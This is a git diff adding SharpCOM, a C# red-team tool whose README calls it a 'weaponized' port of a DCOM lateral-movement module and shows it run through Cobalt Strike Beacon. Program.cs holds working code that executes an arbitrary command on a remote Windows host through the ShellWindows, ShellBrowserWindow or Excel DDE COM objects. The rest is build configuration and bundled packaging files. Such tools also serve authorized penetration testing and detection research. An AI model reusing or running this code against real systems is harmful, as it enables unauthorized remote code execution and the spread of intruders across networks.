diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..6e3b48d
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,6 @@
+.vs
+*.user
+[Dd]ebug/
+[Rr]elease/
+[Bb]in/
+[Oo]bj/
\ No newline at end of file
diff --git a/README.md b/README.md
index 794fb94..886c871 100644
--- a/README.md
+++ b/README.md
@@ -1 +1,17 @@
# SharpCOM
+
+SharpCOM is a c# port of [Invoke-DCOM](https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1)
+
+
+Major credit to @cobbr_io for the initial conversion of Invoke-DCOM to c# in [SharpSploit]
+(https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/LateralMovement/DCOM.cs)
+
+
+This version is meant to be a "weaponized" port of the SharpSploit DCOM lateral movement module.
+
+
+As an example, one could execute SharpCOM.exe through Cobalt Strike's Beacon "execute-assembly" module.
+
+
+#### Example usage
+beacon>execute-assembly /root/SharpCOM/SharpCOM.exe --Method ShellWindows --ComputerName hosta.example.local --Command "calc.exe"
diff --git a/SharpCOM.sln b/SharpCOM.sln
new file mode 100644
index 0000000..e44f099
--- /dev/null
+++ b/SharpCOM.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 15
+VisualStudioVersion = 15.0.28307.136
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCOM", "SharpCOM\SharpCOM.csproj", "{51960F7D-76FE-499F-AFBD-ACABD7BA50D1}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Debug|x86 = Debug|x86
+ Release|Any CPU = Release|Any CPU
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|x86.ActiveCfg = Debug|x86
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Debug|x86.Build.0 = Debug|x86
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|Any CPU.Build.0 = Release|Any CPU
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|x86.ActiveCfg = Release|Any CPU
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}.Release|x86.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {A3265EB5-B0B5-4E25-B88F-84853FD8F07B}
+ EndGlobalSection
+EndGlobal
diff --git a/SharpCOM/App.config b/SharpCOM/App.config
new file mode 100644
index 0000000..e707b32
--- /dev/null
+++ b/SharpCOM/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/SharpCOM/FodyWeavers.xml b/SharpCOM/FodyWeavers.xml
new file mode 100644
index 0000000..a5dcf04
--- /dev/null
+++ b/SharpCOM/FodyWeavers.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/SharpCOM/FodyWeavers.xsd b/SharpCOM/FodyWeavers.xsd
new file mode 100644
index 0000000..44a5374
--- /dev/null
+++ b/SharpCOM/FodyWeavers.xsd
@@ -0,0 +1,111 @@
+
+
+
+
+
+
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
+
+
+
+
+ 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
+
+
+
+
+ A comma-separated list of error codes that can be safely ignored in assembly verification.
+
+
+
+
+ 'false' to turn off automatic generation of the XML Schema file.
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpCOM/Program.cs b/SharpCOM/Program.cs
new file mode 100644
index 0000000..21365f6
--- /dev/null
+++ b/SharpCOM/Program.cs
@@ -0,0 +1,91 @@
+using System;
+using NDesk.Options;
+using System.Reflection;
+
+namespace SharpCOM
+{
+ public class Program
+ {
+ public static void Main(string[] args)
+ {
+ string Method = "ShellWindows";
+ string ComputerName = null;
+ string Directory = "C:\\WINDOWS\\System32\\";
+ string Parameters = "";
+ string Command = null;
+ bool showhelp = false;
+ OptionSet opts = new OptionSet()
+ {
+ { "Method=", " --Method ShellWindows", v => Method = v },
+ { "ComputerName=", "--ComputerName host.example.local", v => ComputerName = v },
+ { "Command=", "--Command calc.exe", v => Command = v },
+ { "h|?|help", "Show available options", v => showhelp = v != null },
+ };
+
+ try
+ {
+ opts.Parse(args);
+ }
+ catch (OptionException e)
+ {
+ Console.WriteLine(e.Message);
+ }
+
+ if (showhelp)
+ {
+ Console.WriteLine("RTFM");
+ opts.WriteOptionDescriptions(Console.Out);
+ Console.WriteLine("[*] Example: SharpCOM.exe --Method ShellWindows --ComputerName localhost --Command calc.exe");
+ return;
+ }
+
+ try
+ {
+ if (Method == "ShellWindows")
+ {
+ var CLSID = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
+ Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName);
+ object RemoteComObject = NewMethod(ComType);
+ object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { });
+ object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null);
+ object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
+ Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 });
+ }
+ else if (Method == "ShellBrowserWindow")
+ {
+ var CLSID = "C08AFD90-F2A1-11D1-8455-00A0C91F3880";
+ Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName);
+ object RemoteComObject = Activator.CreateInstance(ComType);
+
+ object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
+ object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
+ Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 });
+ }
+ else if (Method == "ExcelDDE")
+ {
+ Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName);
+ object RemoteComObject = Activator.CreateInstance(ComType);
+ RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false });
+ RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters });
+ }
+ else
+ {
+ Console.WriteLine("You must supply arguments!");
+ }
+ }
+ catch (Exception e)
+ {
+ Console.Error.WriteLine("DCOM Failed: " + e.Message);
+ }
+
+ }
+
+ private static object NewMethod(Type ComType)
+ {
+ return Activator.CreateInstance(ComType);
+ }
+ }
+}
+
+
+
diff --git a/SharpCOM/Properties/AssemblyInfo.cs b/SharpCOM/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..2c54aff
--- /dev/null
+++ b/SharpCOM/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SharpCOM")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("SharpCOM")]
+[assembly: AssemblyCopyright("Copyright © 2018")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("51960f7d-76fe-499f-afbd-acabd7ba50d1")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/SharpCOM/SharpCOM.csproj b/SharpCOM/SharpCOM.csproj
new file mode 100644
index 0000000..89dcf8a
--- /dev/null
+++ b/SharpCOM/SharpCOM.csproj
@@ -0,0 +1,90 @@
+
+
+
+
+
+ Debug
+ AnyCPU
+ {51960F7D-76FE-499F-AFBD-ACABD7BA50D1}
+ Exe
+ SharpCOM
+ SharpCOM
+ v4.5
+ 512
+ true
+ true
+
+
+
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+ false
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+ false
+
+
+ true
+ bin\x86\Debug\
+ DEBUG;TRACE
+ full
+ x86
+ prompt
+ MinimumRecommendedRules.ruleset
+ true
+
+
+ bin\x86\Release\
+ TRACE
+ true
+ pdbonly
+ x86
+ prompt
+ MinimumRecommendedRules.ruleset
+ true
+
+
+
+ ..\packages\Costura.Fody.3.2.1\lib\net40\Costura.dll
+
+
+ ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpCOM/packages.config b/SharpCOM/packages.config
new file mode 100644
index 0000000..773d817
--- /dev/null
+++ b/SharpCOM/packages.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/packages/Costura.Fody.3.2.1/.signature.p7s b/packages/Costura.Fody.3.2.1/.signature.p7s
new file mode 100644
index 0000000..70bdb1a
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/.signature.p7s differ
diff --git a/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg b/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg
new file mode 100644
index 0000000..39e1cdd
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/Costura.Fody.3.2.1.nupkg differ
diff --git a/packages/Costura.Fody.3.2.1/build/Costura.Fody.props b/packages/Costura.Fody.3.2.1/build/Costura.Fody.props
new file mode 100644
index 0000000..61581bc
--- /dev/null
+++ b/packages/Costura.Fody.3.2.1/build/Costura.Fody.props
@@ -0,0 +1,12 @@
+
+
+
+ netclassicweaver
+ netstandardweaver
+
+
+
+
+
+
+
diff --git a/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll b/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll
new file mode 100644
index 0000000..adc975f
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/lib/net40/Costura.dll differ
diff --git a/packages/Costura.Fody.3.2.1/lib/net40/Costura.xml b/packages/Costura.Fody.3.2.1/lib/net40/Costura.xml
new file mode 100644
index 0000000..7e9ca15
--- /dev/null
+++ b/packages/Costura.Fody.3.2.1/lib/net40/Costura.xml
@@ -0,0 +1,18 @@
+
+
+
+ Costura
+
+
+
+
+ Contains methods for interacting with the Costura system.
+
+
+
+
+ Call this to Initialize the Costura system.
+
+
+
+
diff --git a/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll
new file mode 100644
index 0000000..c607759
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.dll differ
diff --git a/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb
new file mode 100644
index 0000000..9b2a8b8
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.pdb differ
diff --git a/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf
new file mode 100644
index 0000000..0f0424e
--- /dev/null
+++ b/packages/Costura.Fody.3.2.1/netclassicweaver/Costura.Fody.xcf
@@ -0,0 +1,85 @@
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
\ No newline at end of file
diff --git a/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll
new file mode 100644
index 0000000..a208fc8
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.dll differ
diff --git a/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb
new file mode 100644
index 0000000..84d719a
Binary files /dev/null and b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.pdb differ
diff --git a/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf
new file mode 100644
index 0000000..0f0424e
--- /dev/null
+++ b/packages/Costura.Fody.3.2.1/netstandardweaver/Costura.Fody.xcf
@@ -0,0 +1,85 @@
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of unmanaged 32 bit assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged 64 bit assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
\ No newline at end of file
diff --git a/packages/Fody.3.3.3/.signature.p7s b/packages/Fody.3.3.3/.signature.p7s
new file mode 100644
index 0000000..1a5fdb0
Binary files /dev/null and b/packages/Fody.3.3.3/.signature.p7s differ
diff --git a/packages/Fody.3.3.3/Fody.3.3.3.nupkg b/packages/Fody.3.3.3/Fody.3.3.3.nupkg
new file mode 100644
index 0000000..546f555
Binary files /dev/null and b/packages/Fody.3.3.3/Fody.3.3.3.nupkg differ
diff --git a/packages/Fody.3.3.3/build/Fody.targets b/packages/Fody.3.3.3/build/Fody.targets
new file mode 100644
index 0000000..02ecfe7
--- /dev/null
+++ b/packages/Fody.3.3.3/build/Fody.targets
@@ -0,0 +1,99 @@
+
+
+
+ $(ProjectDir)FodyWeavers.xml
+ $(MSBuildThisFileDirectory)..\
+ $(FodyPath)netstandardtask
+ $(FodyPath)netclassictask
+ $(FodyAssemblyDirectory)\Fody.dll
+ $(MSBuildProjectFile).Fody.CopyLocal.cache
+ $(DefaultItemExcludes);FodyWeavers.xsd
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/packages/Fody.3.3.3/netclassictask/Fody.dll b/packages/Fody.3.3.3/netclassictask/Fody.dll
new file mode 100644
index 0000000..7aa4b77
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Fody.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/FodyCommon.dll b/packages/Fody.3.3.3/netclassictask/FodyCommon.dll
new file mode 100644
index 0000000..f2b7200
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/FodyCommon.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll b/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll
new file mode 100644
index 0000000..3208c8d
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/FodyHelpers.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll b/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll
new file mode 100644
index 0000000..9980023
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/FodyIsolated.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll
new file mode 100644
index 0000000..64117ac
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb
new file mode 100644
index 0000000..6107ae3
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Mdb.pdb differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll
new file mode 100644
index 0000000..03abf82
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb
new file mode 100644
index 0000000..d895f57
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Pdb.pdb differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll
new file mode 100644
index 0000000..c246933
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb
new file mode 100644
index 0000000..20a4ca1
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.Rocks.pdb differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll
new file mode 100644
index 0000000..3c94d2a
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.dll differ
diff --git a/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb
new file mode 100644
index 0000000..ad7d3d8
Binary files /dev/null and b/packages/Fody.3.3.3/netclassictask/Mono.Cecil.pdb differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Fody.dll b/packages/Fody.3.3.3/netstandardtask/Fody.dll
new file mode 100644
index 0000000..b16d015
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Fody.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll b/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll
new file mode 100644
index 0000000..f25b835
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/FodyCommon.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll b/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll
new file mode 100644
index 0000000..c83b2a9
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/FodyHelpers.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll b/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll
new file mode 100644
index 0000000..7733a4d
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/FodyIsolated.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll
new file mode 100644
index 0000000..b063f3c
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb
new file mode 100644
index 0000000..593f7f5
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Mdb.pdb differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll
new file mode 100644
index 0000000..75f83d6
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb
new file mode 100644
index 0000000..ae0b5df
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Pdb.pdb differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll
new file mode 100644
index 0000000..47ae672
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb
new file mode 100644
index 0000000..e74ef16
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.Rocks.pdb differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll
new file mode 100644
index 0000000..5313263
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.dll differ
diff --git a/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb
new file mode 100644
index 0000000..5640b51
Binary files /dev/null and b/packages/Fody.3.3.3/netstandardtask/Mono.Cecil.pdb differ
diff --git a/packages/NDesk.Options.0.2.1/.signature.p7s b/packages/NDesk.Options.0.2.1/.signature.p7s
new file mode 100644
index 0000000..080af63
Binary files /dev/null and b/packages/NDesk.Options.0.2.1/.signature.p7s differ
diff --git a/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg b/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg
new file mode 100644
index 0000000..b46f271
Binary files /dev/null and b/packages/NDesk.Options.0.2.1/NDesk.Options.0.2.1.nupkg differ
diff --git a/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll b/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll
new file mode 100644
index 0000000..df45878
Binary files /dev/null and b/packages/NDesk.Options.0.2.1/lib/NDesk.Options.dll differ